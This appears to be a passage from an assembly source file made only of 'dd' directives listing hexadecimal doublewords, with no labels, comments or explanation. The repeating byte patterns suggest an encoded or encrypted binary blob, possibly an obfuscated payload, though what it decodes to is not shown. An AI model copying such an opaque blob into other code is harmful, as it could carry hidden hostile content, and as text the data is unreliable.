dd 8D1DEC99h, 4C89178Ch, 118C8D1Dh, 0A5808CD8h, 1141EE5Bh
dd 0CACC5CD9h, 9CD0CC74h, 94581F9Ch, 55C7C2C3h, 7915C95Fh
dd 17CBCACFh, 0E91790E1h, 0EDDCF48Ch, 63CB8C8Dh, 91C6A089h
dd 0E95C958Ch, 6B8F4BCh, 63CB8C8Dh, 91C6A089h, 0E95C958Ch
dd 698F48Ch, 63CB8C8Dh, 91C6A089h, 0E85C958Ch, 94D9178Ch
dd 0AA639A15h, 0CF638417h, 775CAD98h, 9923938Dh, 8C8D1D1Ch
dd 159E741Fh, 0DC9E249Ah, 0C2C31C9Ch, 905EC1C7h, 7915C99Ch
dd 9EF0701Dh, 11CB9C9Ch, 63610519h, 0A74CC63h, 119C9CB3h
dd 63626019h, 9C3DCC63h, 1F8C8D1Eh, 3DCC9F74h, 8C8D1ED4h
dd 50892393h, 9D8C8D1Dh, 96741F4Ch, 3D80F6CCh, 8C8D1DD4h
dd 0CC9B741Fh, 0B69C8963h, 99118C99h, 8C9C8519h, 91C6803Fh
dd 0AE99118Ch, 3F8C9CD3h, 8C99B578h, 8D0CA1F4h, 0DDA748Ch
dd 0A1176363h, 8C8D1D10h, 9F985B1Fh, 8D1D68A1h, 2111CB8Ch
dd 63636260h, 0ACF4CCCBh, 638C95D5h, 91C6B489h, 937CF48Ch
dd 33748C9Dh, 74636352h, 6363165Ah, 0D5AC9911h, 483F8C95h
dd 0F48C9D93h, 8C8D0CB6h, 630C6374h, 0A0A96363h, 118C8D1Dh
dd 63626021h, 0F4CCCB63h, 8C9DBC3Ch, 0C6B48963h, 87F48C91h
dd 748C8D0Ch, 63630C40h, 1D94A117h, 0A19F8C8Dh, 8C8D1D24h
dd 52111CBh, 0CB636361h, 62602111h, 0CCCB6363h, 95AFACF4h
dd 0B489638Ch, 118C91C6h, 9C851999h, 0AD7C3F8Ch, 99118C99h
dd 8C95A9DCh, 9C6C803Fh, 1999118Ch, 3F8C9C85h, 8C9D9C88h
dd 0B3D59911h, 0E83F8C9Ch, 118C8DC7h, 9CF5CE99h, 0AE6C3F8Ch
dd 99118C99h, 8C9DBC3Ch, 95D5BC3Fh, 0C94F48Ch, 0F5748C8Dh
dd 1763630Ch, 8D1D00A1h, 9E5B1F8Ch, 602111CBh, 0CB636362h
dd 0A9DCF4CCh, 89638C95h, 8C91C6B4h, 8D1C403Dh, 9E5C1F8Ch
dd 0BC892393h, 9D8C8D1Eh, 9CF4CC4Ch, 748C99AFh, 9C9CD665h
dd 9C0770F4h, 0D81748Ch, 0FBF46363h, 748C9C0Bh, 63630D8Fh
dd 9C7E3CF4h, 0D95748Ch, 99116363h, 8C8DC6ECh, 8D1E403Fh
dd 9923938Ch, 8C8D1DF4h, 3F9A5C1Fh, 8C9DB94Ch, 8D1D743Dh
dd 8923938Ch, 8C8D1D54h, 741F4C9Dh, 1911CC91h, 63636161h
dd 3C8374CCh, 581F6363h, 1E843DE4h, 201C8C8Dh, 63616099h
dd 0A2E9F863h, 62192293h, 17636361h, 8D1D4889h, 8B5E1F8Ch
dd 19144CB5h, 63636104h, 4192A93h, 0CC636361h, 8D1DF03Dh
dd 95741F8Ch, 388C74CCh, 581F6363h, 99239394h, 8C8D1DECh
dd 0B94C3FD4h, 23938C9Dh, 8D1D0899h, 0A4999F8Ch, 1C8C8D1Eh
dd 61719920h, 0E9FB6363h, 1DB43DD1h, 23938C8Dh, 8D1D0889h
dd 9D5D158Ch, 6ECD114Dh, 9C990814h, 11636362h, 63616219h
dd 8963CC63h, 8C9D9C80h, 61081915h, 0F03D6363h, 1F8C8D1Dh
dd 4C3F9574h, 638C9DB9h, 63610829h, 0C6ECF463h, 8D748C8Dh
dd 1F9C9CBEh, 55C39058h, 7915C95Fh, 9D98701Dh, 0CBCA9C9Ch
dd 3D90E117h, 8C8D1D88h, 1C9E741Fh, 0E8B29BA0h, 94E963D9h
dd 62601911h, 63CC6363h, 9DBD3889h, 0C9FF48Ch, 71748C8Dh
dd 0CC636312h, 62602911h, 63CA6363h, 9C6CB089h, 1911CB8Ch
dd 63636260h, 0B08963CCh, 118C9C6Ch, 63626019h, 4C74CC63h
dd 1F636345h, 0C2C3BC58h, 0F4CB5F55h, 8C8D136Fh, 63122F74h
dd 63CCC563h, 9DB90489h, 1E0C3F8Ch, 0A43D8C8Dh, 9F8C8D1Dh
dd 8D1ED899h, 96741F8Ch, 1E0C99A7h, 8BE98C8Dh, 8D137FF4h
dd 121A748Ch, 0CCC56363h, 0AF848963h, 0C3F8C99h, 0F48C8D1Eh
dd 8C8D134Dh, 6312F374h, 0A963CC63h, 8C8D1E0Ch, 0BD308963h
dd 903F8C9Dh, 0F48C9D9Ch, 8C8D135Eh, 6312CF74h, 0A963CC63h
dd 8C8D1E0Ch, 0BD308963h
dd 0D43F8C9Dh, 0F48C9C6Ch, 8C8D132Eh, 6312AB74h, 0A963CC63h
dd 8C8D1E0Ch, 0BD308963h, 0B83F8C9Dh, 0F48C95AFh, 8C8D133Dh
dd 63128774h, 0A963CC63h, 8C8D1E0Ch, 0BD308963h, 0A83F8C9Dh
dd 0F48C8DECh, 8C8D130Dh, 63116374h, 88581F63h, 0CA963CCh
dd 638C8D1Eh, 9DBD3089h, 0EDC83F8Ch, 5FC38C8Dh, 131FF4CBh
dd 41748C8Dh, 0C5636311h, 48963CCh, 3F8C9DB9h, 8C8D1E18h
dd 8D1DAC3Dh, 8923938Ch, 8C8D1EBCh, 741F4C9Dh, 1899A598h
dd 0E98C8D1Eh, 13E9F48Bh, 31748C8Dh, 0C5636311h, 848963CCh
dd 3F8C99AFh, 8C8D1E18h, 8D13F4F4h, 110A748Ch, 74CC6363h
dd 636311E4h, 9C6C983Fh, 13C8F48Ch, 1D748C8Dh, 0CC636311h
dd 6311FF74h, 9C843F63h, 0DAF48C9Dh, 748C8D13h, 636311F0h
dd 11D274CCh, 0C43F6363h, 0F48C8DC6h, 8C8D13B3h, 6311CB74h
dd 0A574CC63h, 3F636311h, 8C9DB938h, 8D1382F4h, 11DE748Ch
dd 74CC6363h, 636311B8h, 8DC6CC3Fh, 1393F48Ch, 0B1748C8Dh
dd 0CC636311h, 63119374h, 0AAD43F63h, 61F48C95h, 748C8D12h
dd 63631184h, 106674CCh, 0C3F6363h, 0F48C9DBCh, 8C8D1271h
dd 63119F74h, 7974CC63h, 3F636310h, 8C9C6C84h, 8D1240F4h
dd 1072748Ch, 74CC6363h, 6363104Ch, 9D934C3Fh, 1254F48Ch
dd 45748C8Dh, 0CC636310h, 63102774h, 0C09C3F63h, 2AF48C8Dh
dd 748C8D12h, 63631058h, 103A74CCh, 543F6363h, 0F48C9DB9h
dd 8C8D1239h, 63103374h, 0D74CC63h, 3F636310h, 8C99AD74h
dd 8D1213F4h, 1006748Ch, 74CC6363h, 636310E0h, 9D9C8C3Fh
dd 12E2F48Ch, 19748C8Dh, 0CC636310h, 6310FB74h, 0C6AC3F63h
dd 0F0F48C91h, 748C8D12h, 636310ECh, 10CE74CCh, 303F6363h
dd 0F48C9DB9h, 8C8D12C5h, 6310C774h, 0A174CC63h, 3F636310h
dd 8C95D6A0h, 8D12D1F4h, 10DA748Ch, 74CC6363h, 636310B4h
dd 99B5603Fh, 12A2F48Ch, 0AD748C8Dh, 0CC636310h, 63108F74h
dd 0C6A43F63h, 0B7F48C91h, 748C8D12h, 63631080h, 176274CCh
dd 603F6363h, 0F48C95C5h, 8C8D1283h, 63109B74h, 7574CC63h
dd 3F636317h, 8C95C564h, 8D1291F4h, 176E748Ch, 74CC6363h
dd 63631748h, 8DC6C83Fh, 1167F48Ch, 41748C8Dh, 0CC636317h
dd 63172374h, 0ECA43F63h, 75F48C8Dh, 748C8D11h, 63631754h
dd 173674CCh, 843F6363h, 0F48C95C6h, 8C8D1147h, 63172F74h
dd 974CC63h, 1D636317h, 9C9C5C58h, 9C9C3F9Ch, 5FC38C9Dh
dd 17CBCACFh, 178CB8E8h, 1588B8E0h, 4F6F1565h, 8923937Fh
dd 8C8D1D20h, 0B8912393h, 118C8D1Eh, 158596C8h, 1565B54Dh
dd 95744F6Ch, 0C344155Fh, 0C95FC7C2h, 701F7915h, 0CBCACF90h
dd 1590D917h, 63541F5Dh, 9DA01CDCh, 1565E99Ch, 1C343D5Ah
dd 741F8C8Dh, 64D91594h, 1194D917h, 63541F94h, 9DA01CDCh
dd 1565E99Ch, 0CC3D68D9h, 1F8C8D1Eh, 0D9159E74h, 3DCE7760h
dd 8C8D1C5Ch, 0C8892393h, 158C8D1Eh, 1F4F9D5Fh, 0A1179577h
dd 8C8D1D04h, 779F731Fh, 9F6415B1h, 0C91760D9h, 98229394h
dd 90C9179Eh, 0A6882293h, 86E94CA5h, 0E96FA5DFh, 64D9638Ch
dd 0A58CD917h, 99E964D9h, 7760D917h, 6BA5DB89h, 0D96353EEh
dd 68D91760h, 0EE60D9A5h, 6363243Ah, 0C2C39C9Ch, 0C95F55C7h
dd 0CCCD7915h, 17CBCACFh, 0E91790C1h, 1F44158Ch, 9F259E5Ch
dd 269C9C9Ch, 36363637h, 764D7E6Bh, 1560C915h, 9E7B5D4Bh
dd 0D688C917h, 9BEA4BA5h, 9D755CADh, 0F49C9C9Dh, 8C8D110Bh
dd 63161F74h, 0F4CCC563h, 8C8DECDCh, 9CCBE374h, 0CAA9779Ch
dd 7494E963h, 9C9CDE9Dh, 9394581Fh, 1E909923h, 0E8118C8Dh
dd 0C43D98ACh, 1F8C8D1Dh, 5FB59E5Ch, 8D1D683Dh, 0B4999F8Ch
dd 1F8C8D1Dh, 0D99F9574h, 94D91594h, 0C8992393h, 1F8C8D1Eh
dd 5FA59974h, 239321EFh, 8D1DB099h, 4999F8Ch, 1F8C8D1Dh
dd 5FA59474h, 9FF6E7EAh, 8D1D743Dh, 7C999F8Ch, 1F8C8D1Ch
dd 11CC9474h, 63CC65D9h, 95D6A889h, 0E963CF8Ch, 65D91194h
dd 888963CCh, 0CA8C95D5h, 0CC65D911h, 9CDD1C74h, 0BC581F9Ch
dd 8D1ED83Dh, 8923938Ch, 8C8D1DDCh, 741F4C9Dh, 9A985A95h
dd 992393A1h, 8C8D1C50h, 0A598741Fh, 938BE944h, 1E8C9923h
dd 23938C8Dh, 8D1EBC89h, 1F4C9D8Ch, 985A9E74h, 7C3DA19Ah
dd 1F8C8D1Dh, 0A8119974h, 9923939Ah, 8C8D1DBCh, 179F741Fh
dd 8D1C5C89h, 8814D68Ch, 0DC5CAD9Ah, 55C7C2C3h, 7915C95Fh
dd 17CBCACFh, 0C1178CE9h, 7763AD88h, 218817B8h, 8C9DB57Ch
dd 6C948915h, 0E9638C9Ch, 8519F484h, 0CACF8C9Ch, 6390E963h
dd 896394E9h, 8C9C6C94h, 20A1A7DBh, 0EE8C8D1Eh, 0C7C2C348h
dd 1FF45FC1h, 748C8D11h, 636315A0h, 494074CCh, 43F6363h
dd 0F48C9DB9h, 8C8D11E8h, 6315BB74h, 5B74CC63h, 3F636349h
dd 8C95D6D4h, 8D11F8F4h, 158E748Ch, 74CC6363h, 6363492Eh
dd 99AF843Fh, 11CAF48Ch, 61748C8Dh, 0CC636314h, 63490174h
dd 0BC581F63h, 95D6A43Fh, 15C95F8Ch, 6CA42479h, 55749C9Eh
dd 0CF9C9CC9h, 2393CBCAh, 8D1D1CA1h, 54A19F8Ch, 0F58C8D1Ch
dd 9C9F5C63h, 0D4A9179Ch, 1D8C8D1Eh, 9C76C55Ah, 8123939Ch
dd 8C8D1DC0h, 6B9D429Dh, 21157B4Dh, 63619354h, 0C98F74CBh
dd 581F9C9Ch, 4A191598h, 93636393h, 9394D92Ah, 1D1C8923h
dd 0A5D68C8Dh, 0F4BFE94Ch, 8C8D11D7h, 63141F74h, 98581F63h
dd 402111CCh, 0CB63638Dh, 0C6B48963h, 581F8C91h, 9D237594h
dd 89639C9Ch, 8C99AE6Ch, 1145F15h, 63639349h, 8D11B5F4h
dd 14CE748Ch, 581F6363h, 2111CC98h, 63639342h, 388963CBh
dd 1F8C9DBDh, 0C43D9458h, 0DC8C8D1Eh, 94C92A93h, 0C6E94CA5h
dd 8D1D183Dh, 0E8999F8Ch, 1F8C8D1Dh, 63B99E74h, 0CC9C9C9Ch
dd 8C411911h, 63CC6363h, 75748CE9h, 1F9C9CB8h, 89F49058h
dd 748C8D11h, 6363149Ch, 9398581Fh, 9349212Ah, 11CB6363h
dd 638C4121h, 2111CB63h, 63639342h, 2111CCCBh, 63638D40h
dd 0B48963CBh, 1F8C91C6h, 2A938858h, 891794D9h, 8C8D1D84h
dd 1D6C899Fh, 761F8C8Dh, 934CA58Eh, 9C9D8C19h, 1C743D9Ch
dd 741F8C8Dh, 9C63B99Bh, 11CC9C9Ch, 638C4119h, 0A963CC63h
dd 8C8D1E40h, 9CB8EB74h, 90581F9Ch, 8D1052F4h, 1B12748Ch
dd 581F6363h, 0BCE11798h, 158CE917h, 0CF6F9D67h, 0B4812393h
dd 1F8C8D1Eh, 63CF9F5Fh, 63CBB8E9h, 2A9380E9h, 63934921h
dd 6B15CB63h, 1788E1B7h, 8D1DB4A9h, 6CA99F8Ch, 1F8C8D1Dh
dd 6BB59072h, 0AF9CF4CBh, 0E9638C99h, 0B4E96384h, 8C412111h
dd 11CB6363h, 63934221h, 11CCCB63h, 638D4021h, 8963CB63h
dd 8C91C6B4h, 3DA4581Fh, 8C8D1DB4h, 0B4892393h, 9D8C8D1Eh
dd 90741F4Ch, 0E984D9A5h, 1C643DF8h, 999F8C8Dh, 8C8D1C4Ch
dd 0A594741Fh, 0CDE9BCD9h, 8D1036F4h, 1A6E748Ch, 581F6363h
dd 0C08CF498h, 0A9638C8Dh, 8C8D1C38h, 11B4E963h, 638C4121h
dd 2111CB63h, 63639342h, 2111CCCBh, 63619351h, 0B48963CBh
dd 1F8C91C6h, 19118058h, 63619351h, 401911CCh, 0CC63638Dh
dd 6CB08963h, 581F8C9Ch, 54296394h, 63636193h, 63934A29h
dd 1EC43D63h, 446B8C8Dh, 401911CCh, 0CC63638Dh, 8D1DA43Dh
dd 9F741F8Ch, 639CF6CCh, 91C6A889h, 100CF48Ch, 22748C8Dh
dd 1F636314h, 63CC9858h, 9D9C9089h, 4C19158Ch, 63636393h
dd 63934A29h, 90896363h, 158C9D9Ch, 63935019h, 2963CC63h
dd 6363934Ch, 0CC90D917h
dd 0F638417h, 9C9C9D98h, 93502963h, 89636363h, 8C8DECA8h
dd 934C2963h, 89636363h, 8C8DECA8h, 93203911h, 0C2C36361h
dd 0C95F55C7h, 701F7915h, 0CBCACF8Ch, 0CC60D911h, 7494E963h
dd 63632041h, 1594581Fh, 9923935Ah, 8C8D1D20h, 0F4892393h
dd 9D8C8D1Dh, 95741F4Ch, 9BE95AA5h, 2F755CADh, 179C9C9Ch
dd 8D1DE8A1h, 9F5B1F8Ch, 1590D917h, 63541F5Dh, 9DA01CDCh
dd 1565E99Ch, 901164D9h, 63541FA2h, 9DA01CDCh, 1565E99Ch
dd 8CC1B75Fh, 0E964C1A7h, 6CD95BC4h, 9C9C9C9Dh, 8C992393h
dd 938C8D1Dh, 1C088923h, 4C9D8C8Dh, 1598741Fh, 0BE7768D9h
dd 1568D917h, 8CC99F66h, 2A935E9Dh, 0D1178A88h, 98229390h
dd 0E85EA59Dh, 6CF91F9Ah, 6394779Ch, 0C1A568D9h, 1F45EE68h
dd 0E89C6CE1h, 8963CA90h, 8C9DB950h, 77DC5CADh, 93439DB5h
dd 1C3C9923h, 999F8C8Dh, 8C8D1ED0h, 9D9B741Fh, 8CE19F5Bh
dd 9360E1A7h, 6363ED1Eh, 8963CA63h, 8C9DB950h, 0C2C35CADh
dd 0C95F55C7h, 23937915h, 8D1EFC99h, 95741F8Ch, 0CE69F4CCh
dd 683D8C9Ch, 1F8C8D1Ch, 63CC9E74h, 9D9C8C89h, 9923938Ch
dd 8C8D1D14h, 0CC99741Fh, 0C6B88963h, 77C58C91h, 985EC151h
dd 7915C99Ch, 9880701Dh, 0CACF9C9Ch, 1C543DCBh, 5A158C8Dh
dd 1D00A99Fh, 721F8C8Dh, 1785779Bh, 8D1ED889h, 0D0899F8Ch
dd 1F8C8D1Eh, 466B9776h, 9C290815h, 0DA636360h, 8D1EA43Dh
dd 9C6B998Ch, 5AA59C9Ch, 0C11745EEh, 99239390h, 8C8D1D8Ch
dd 641915D4h, 17636367h, 8D1D4889h, 815E1F8Ch, 1EA4899Fh
dd 23938C8Dh, 8D1D3091h, 1C483D8Ch, 0D0118C8Dh, 1015AE9Dh
dd 63609C09h, 8CD91763h, 1915449Dh, 63636760h, 0C0892393h
dd 938C8D1Dh, 1EF49123h, 0C8118C8Dh, 2393B996h, 8D1D9891h
dd 9923938Ch, 8C8D1EDCh, 0A49DD011h, 9C091015h, 93636360h
dd 1EBC9923h, 5B158C8Dh, 1D9CA19Fh, 77D38C8Dh, 892393AAh
dd 8C8D1DD8h, 0DCA6C811h, 9C092015h, 93636360h, 1DBC8923h
dd 5E1F8C8Dh, 9D6515C2h, 8923934Dh, 8C8D1DC0h, 158B5E1Fh
dd 154C9D64h, 609C1118h, 3DDB6363h, 8C8D1D9Ch, 9F865C1Fh
dd 8D1C2099h, 0EE5BA58Ch, 1EC43D24h, 999F8C8Dh, 8C8D1C00h
dd 1594741Fh, 63676819h, 0CCA11763h, 1F8C8D1Dh, 8277B05Bh
dd 1C408917h, 23938C8Dh, 8D1D0891h, 1F569D8Ch, 65159676h
dd 10154D9Dh, 63609C21h, 6C3DDB63h, 1F8C8D1Dh, 5BA5AD5Ch
dd 43D4AEEh, 158C8D1Dh, 48A99F5Ah, 1F8C8D1Ch, 0E1179672h
dd 9DAA7594h, 22939C9Ch, 9E7E5D8Bh, 9C892817h, 3D636360h
dd 8C8D1DACh, 6B9E741Fh, 935AA544h, 9C9D8A18h, 6419179Ch
dd 95636367h, 9E10935Ch, 1F9C9C9Dh, 13939F64h, 9C9C9C65h
dd 0B819B863h, 638C8D18h, 63676419h, 9C7B7563h, 9179C9Ch
dd 63636768h, 1E9C9117h, 15D58C8Dh, 157C4F4Ch, 63677419h
dd 1F6E1563h, 9117AC7Eh, 8C8D1D4Ch, 1D88919Fh, 15D58C8Dh
dd 17644F4Ch, 63677409h, 145E9563h, 63676F09h, 64196363h
dd 15636367h, 916DF44h, 6363676Fh, 0A758C14h, 179C9C9Ch
dd 63676809h, 937E1F63h, 1D749117h, 751F8C8Dh, 4F4C159Fh
dd 7819157Ch, 15636367h, 0A07E1F6Eh, 58912393h, 9F8C8D1Dh
dd 8D1D4891h, 92751F8Ch, 644F4C15h, 67780917h, 5E956363h
dd 676F0914h, 19636363h, 63636764h, 16DF4415h, 63676F09h
dd 778C1463h, 680917DCh, 1F636367h, 23939F7Eh, 8D1D5091h
dd 4F4C158Ch, 955E157Ch, 6F09146Eh, 15636367h, 916DF44h
dd 6363676Fh, 643D8C14h, 938C8D1Dh, 1C6C8923h, 4C9D8C8Dh
dd 1596741Fh, 63676419h, 68291563h, 0DB636367h, 0E89CA31Ch
dd 6001A790h, 93636367h, 6362251Eh, 9B229363h, 1D248917h
dd 761F8C8Dh, 0E94CA59Bh, 0B744159Bh, 9B7790D9h, 8D1E843Dh
dd 0C3446B8Ch, 5F55C7C2h, 1D7915C9h, 9C98D470h, 0CBCACF9Ch
dd 60231911h, 93CC6363h, 1EE89923h, 999F8C8Dh, 8C8D1D84h
dd 0CC96741Fh, 8D1DCC3Dh, 0C0999F8Ch, 1F8C8D1Eh, 0F6CC9574h
dd 99239380h, 8C8D1D70h, 14892393h, 9D8C8D1Dh, 94741F4Ch
dd 9C8963CCh, 118C99B6h, 63602319h, 1911CC63h, 63636727h
dd 388963CCh, 0F48C9DBDh, 8C8D101Eh, 631D3374h, 911CC63h
dd 63636727h, 0B08963CEh, 1F8C9C6Ch, 19118858h, 6363625Eh
dd 271911CCh, 0CC636367h, 0AFB48963h, 5F158C95h, 8D1C003Dh
dd 695C1F8Ch, 1DA4999Fh, 44A58C8Dh, 9C591893h, 19119C9Ch
dd 63636272h, 231911CCh, 0CC636360h, 636EA074h, 94581F63h
dd 11DA6AADh, 63625E19h, 63CFCC63h, 9D935489h, 955A158Ch
dd 0CF95E96Ah, 0B9208963h, 86778C9Dh, 62721911h, 11CC6363h
dd 63602319h, 9A74CC63h, 1F63636Eh, 6A959458h, 283D55E9h
dd 938C8D1Ch, 1C788923h, 4C9D8C8Dh, 88892393h, 1F8C8D1Eh
dd 88149F76h, 8DC09099h, 1D443D8Ch, 5B158C8Dh, 1DCCA19Fh
dd 731F8C8Dh, 0F4A07797h, 8C8D10E4h, 631C7B74h, 21A86363h
dd 8C95C6BCh, 0BC21A863h, 0CC8C99AFh, 615F0911h, 63CE6363h
dd 91C6B489h, 5F19118Ch, 0CC636361h, 8DC08CF4h, 0B089638Ch
dd 1F8C9C6Ch, 0A7DB8058h, 8D1E20A1h, 0C320EE8Ch, 5F55C7C2h
dd 747915C9h, 63631D6Eh, 8D1E983Dh, 4824998Ch, 23939C9Dh
dd 8D1D2089h, 0CC4C9D8Ch, 0C6B88963h, 77C58C91h, 985EC142h
dd 2393CB9Ch, 8D1D1CA1h, 9E731F8Ch, 23938477h, 8D1D5899h
dd 10999F8Ch, 1F8C8D1Dh, 98149B74h, 8DEDDCA1h, 2393DB8Ch
dd 8D1D1C99h, 925C1F8Ch, 46EE5BA5h, 8D1D403Dh, 0AC89178Ch
dd 1D8C8D1Eh, 9C9C2E5Eh, 145E9D9Ch, 0EDA39988h, 23938C8Dh
dd 8D1EBC99h, 8923938Ch, 8C8D1C50h, 1C4C9117h, 0C8118C8Dh
dd 8814A196h, 8DEDD299h, 0C95FC38Ch, 701F7915h, 17CBCA90h
dd 0AEF494E1h, 0FB8C9C51h, 9CAA63F8h, 15F8FB9Ch, 0F49C9CBAh
dd 8C8D10ECh, 63E37774h, 0CCAB6363h, 0CA6AE911h, 0C6B48963h
dd 581F8C91h, 639CF68Ch, 6AD911ABh, 0D42B74CCh, 23939C9Ch
dd 8D1E9099h, 9C999F8Ch, 0CC8C8D1Dh, 0C6B88963h, 581F8C91h
dd 0C346778Ch, 985E55C2h, 7915C99Ch, 9C8C9C24h, 0D016749Ch
dd 0CACF9C9Ch, 1D183DCBh, 999F8C8Dh, 8C8D1DACh, 0CC97741Fh
dd 6C9D1911h, 74CC6363h, 63630F66h, 3D94581Fh, 8C8D1D64h
dd 0A19F5B15h, 8C8D1D5Ch, 779B731Fh, 0A1201C80h, 63636C9Dh
dd 938DE9BFh, 1C089923h, 741F8C8Dh, 0A118149Fh, 63636C9Dh
dd 63631DDBh, 0EE9C9C93h, 9D291140h, 0F463636Ch, 8C8D10F0h
dd 63E3A774h, 937CF463h, 23938C9Dh, 8D1EA881h, 98771F8Ch
dd 6C8117CFh, 1F8C8D1Dh, 0CCCF9577h, 1DE48117h, 771F8C8Dh
dd 8117CF9Fh, 8C8D1DD4h, 1C60819Fh, 771F8C8Dh, 63CACF95h
dd 811794E9h, 8C8D1DB4h, 1D99771Fh, 9C9C637Fh, 6374CF9Ch
dd 1F636369h, 6D15B458h, 0DC63541Fh, 9C9DA01Ch, 891765E9h
dd 8C8D1DE8h, 1DE0899Fh, 761F8C8Dh, 115E9D99h, 43D8AA8h
dd 1F8C8D1Dh, 22939F74h, 89179A98h, 8C8D1D90h, 0A595761Fh
dd 0F419934Ch, 0C3636363h, 5F55C7C2h, 0CD7915C9h, 17CBCACFh
dd 0D91794E9h, 0D915FA84h, 99239384h, 8C8D1EFCh, 4C99A5DCh
dd 0EF8C9DB9h, 1D6C3D91h, 741F8C8Dh, 0B94C3F95h, 0A1178C9Dh
dd 8C8D1D74h, 779B731Fh, 21801190h, 8C9D8C7Ch, 8DE86FA5h
dd 992393DBh, 8C8D1E8Ch, 9C9F7999h, 0EE5BA59Ch, 1DF83D78h
dd 74998C8Dh, 0A59C9C9Fh
dd 0AD9BE964h, 9D15755Ch, 0A9179C9Ch, 8C8D1E94h, 1C48A99Fh
dd 721F8C8Dh, 802B9394h, 99B68CE1h, 0E942A58Ch, 982A93ACh
dd 9DBD2CA1h, 0A863CC8Ch, 9D9CBC21h, 0B488748Ch, 581F9C9Ch
dd 0A9239394h, 8C8D1C08h, 159F721Fh, 8C7C21A8h, 5CAD8C9Dh
dd 9C9DA275h, 0B4A9179Ch, 1D8C8D1Dh, 9C636B5Ah, 8123939Ch
dd 8C8D1C2Ch, 2B93429Dh, 0B68CE180h, 42A58C99h, 9C6F1993h
dd 23939C9Ch, 8D1EB899h, 94999F8Ch, 1F8C8D1Dh, 0D9159874h
dd 9C587560h, 0E9179C9Ch, 802B9360h, 99B68CE9h, 4089178Ch
dd 1D8C8D1Ch, 9C636F5Eh, 0D0899F9Ch, 0A58C8D1Eh, 18934Fh
dd 159C9C9Ch, 9E7F5D6Fh, 0BC218817h, 0A58C9D9Ch, 9CBC8188h
dd 19938C9Dh, 9C9C9C1Fh, 1DA08917h, 23938C8Dh, 8D1D5891h
dd 1F569D8Ch, 88A58C76h, 9D8C7C81h, 16F4E88Ch, 0BD2CA980h
dd 80A68C9Dh, 9DBD2CA1h, 93C4E98Ch, 8CE9A82Bh, 938C99B6h
dd 1EA08123h, 23938C8Dh, 8D1DF489h, 1F4F9D8Ch, 42A59A77h
dd 0A917B6E9h, 8C8D1D9Ch, 7C21A815h, 178C9D8Ch, 2A9360E9h
dd 0BD2CA980h, 63CF8C9Dh, 9CBC29A8h, 93748C9Dh, 1F9C9CBBh
dd 0B9779458h, 1160E917h, 0B68CE9A8h, 63FA8C99h, 638A7792h
dd 243D60D9h, 998C8D1Dh, 9C9C9F7Dh, 9360D9A5h, 6363B51Eh
dd 775CAD63h, 0A82B93BAh, 99B68CE1h, 8123938Ch, 8C8D1D34h
dd 1DB8819Fh, 771F8C8Dh, 0E242A594h, 9063FA94h, 99B68CE1h
dd 0C35CAD8Ch, 5E55C7C2h, 15C99CB8h, 99239379h, 8C8D1DDCh
dd 0A599741Fh, 8DF08899h, 0F497EA8Ch, 8C8DF088h, 6C888963h
dd 883D8C9Ch, 0C18C8DF0h, 0C99C985Eh, 90247915h, 749C9B83h
dd 9C9CD5FCh, 11CBCACFh, 676D1C19h, 8963CC63h, 8C9C6CD4h
dd 6DF01911h, 11CC6367h, 676D1C19h, 95F6CC63h, 8D1DB83Dh
dd 95741F8Ch, 94E963CCh, 0AFB88963h, 5F158C95h, 8D1DC83Dh
dd 58999F8Ch, 1F8C8D1Ch, 5FA58C74h, 92891993h, 19179C9Ch
dd 63676D14h, 6D001915h, 23936367h, 8D1C3C91h, 9B751F8Ch
dd 6D3C1115h, 11116367h, 63676D3Ch, 638F4CDh, 19178C8Dh
dd 63676D00h, 63A417CCh, 9C9CA188h, 5F159C9Ch, 8D1D883Dh
dd 8923938Ch, 8C8D1D98h, 741F4C9Dh, 9344A59Bh, 9C915E19h
dd 0E019119Ch, 0CC63676Dh, 6D3C1917h, 17CC6367h, 0E4CB63A4h
dd 0A43D5F15h, 9F8C8D1Dh, 8D1D4C99h, 9A741F8Ch, 19935FA5h
dd 9C9C9117h, 6D351911h, 63CC6367h, 676DE029h, 0BBA97463h
dd 581F9C9Ch, 0E0296394h, 6363676Dh, 8DECA889h, 1EA43D8Ch
dd 89178C8Dh, 8C8D1DD4h, 201C5E9Dh, 676D0789h, 0A6E9E863h
dd 6C892393h, 9F8C8D1Ch, 8D1C5489h, 89201C8Ch, 63676D3Bh
dd 9FBFE9E8h, 8D1D9499h, 99201C8Ch, 63676D3Dh, 3D8FE9ECh
dd 8C8D1D18h, 5E9D5E15h, 589201Ch, 0F463676Dh, 887599E8h
dd 119C9C91h, 606D2819h, 1917CC63h, 63676D3Ch, 63A417CCh
dd 9C9C080Bh, 935F159Ch, 1D8C9923h, 23938C8Dh, 8D1D7089h
dd 1F4C9D8Ch, 5FA59874h, 0B43D88E8h, 9F8C8D1Dh, 8D1D3C99h
dd 9B741F8Ch, 6D281915h, 19116360h, 63676D04h, 3C1917CCh
dd 0CC63676Dh, 0CB63A417h, 3D5F15D4h, 8C8D1DD0h, 0A59A741Fh
dd 3019935Fh, 119C9C90h, 676D0819h, 0A8F4CC63h, 178C8D06h
dd 676D0419h, 0A417CC63h, 9CA18863h, 159C9C9Ch, 1C0C3D5Fh
dd 23938C8Dh, 8D1D5089h, 1F4C9D8Ch, 44A59B74h, 90F51993h
dd 19119C9Ch, 63676D0Ch, 81917CCh, 0CC63676Dh, 0CB63A417h
dd 3D5F15C0h, 8C8D1C74h, 0A59B741Fh, 0A419935Fh, 119C9C90h
dd 676DEC19h, 1917CC63h, 63676D0Ch, 63A417CCh, 5F15BCCBh
dd 8D1D683Dh, 99741F8Ch, 19935FA5h, 9C9C909Bh, 8D10C0F4h
dd 0E013748Ch, 63CC6363h, 9D9C9089h, 2019158Ch, 3D63606Dh
dd 8C8D1D5Ch, 1DE8999Fh, 446B8C8Dh, 6D381915h, 0D4F46367h
dd 748C8D10h, 6363E0F9h, 908963CCh, 158C9D9Ch, 606D2419h
dd 1C683D63h, 185A8C8Dh, 606E2299h, 183DD863h, 9F8C8D1Dh
dd 8D1EA499h, 2089178Ch, 9F8C8D1Ch, 8D1ED089h, 99761F8Ch
dd 2D990814h, 9363606Eh, 1EA09923h, 999F8C8Dh, 8C8D1D90h
dd 2999185Ah, 0E063606Eh, 6D351911h, 11CC6367h, 606E5C19h
dd 8963CC63h, 8C9C6CB0h, 938C581Fh, 1E889923h, 741F8C8Dh
dd 0E419159Fh, 9363676Dh, 1DD89923h, 999F8C8Dh, 8C8D1DE4h
dd 1598741Fh, 676DE819h, 1C203D63h, 999F8C8Dh, 8C8D1D04h
dd 6B9E741Fh, 3819A544h, 0E963676Dh, 301911CCh, 0CC63606Dh
